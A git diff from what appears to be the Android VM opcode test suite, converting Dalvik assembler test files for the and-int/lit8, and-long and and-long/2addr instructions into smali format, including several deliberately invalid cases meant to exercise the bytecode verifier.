--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_9.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       and-int/lit8 v0, v3, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali
new file mode 100644
index 0000000..852e745
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d
deleted file mode 100644
index 9bdc34e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_1.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali
new file mode 100644
index 0000000..6218204
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_1.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali
new file mode 100644
index 0000000..d69180f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/and_long/d/T_and_long_2;
+.super Ljava/lang/Object;
+.source "T_and_long_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    and-long v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d
deleted file mode 100644
index b68acff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_3.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 12345
-       and-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali
new file mode 100644
index 0000000..83810ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_3.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 12345
+       and-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d
deleted file mode 100644
index 97a1bcb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_4.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v9, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali
new file mode 100644
index 0000000..2b5c200
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_4.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v9, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d
deleted file mode 100644
index b6948ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_5.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali
new file mode 100644
index 0000000..fb9a4de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_5.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long v0, v10, v14
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d
deleted file mode 100644
index 26ae8a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_6.java
-.class public dot.junit.opcodes.and_long.d.T_and_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       and-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali
new file mode 100644
index 0000000..cd58a06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long/d/T_and_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_6.java"
+.class  public Ldot/junit/opcodes/and_long/d/T_and_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d
deleted file mode 100644
index aa61af94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_1.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali
new file mode 100644
index 0000000..7adaf22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali
new file mode 100644
index 0000000..3acfb98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2;
+.super Ljava/lang/Object;
+.source "T_and_long_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const v0, 0x40490e56    # 3.1415f
+
+    and-long/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d
deleted file mode 100644
index ba10fe6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_3.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 1234
-       and-long/2addr v12, v0
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali
new file mode 100644
index 0000000..0faeb2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       and-long/2addr v12, v0
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d
deleted file mode 100644
index 9882eb3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_4.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v12, v9
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali
new file mode 100644
index 0000000..2851eb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v12, v9
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d
deleted file mode 100644
index e7bb059..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_5.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali
new file mode 100644
index 0000000..2d64153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d
deleted file mode 100644
index b7ee27e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_6.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       and-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali
new file mode 100644
index 0000000..668d4b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_6.java"
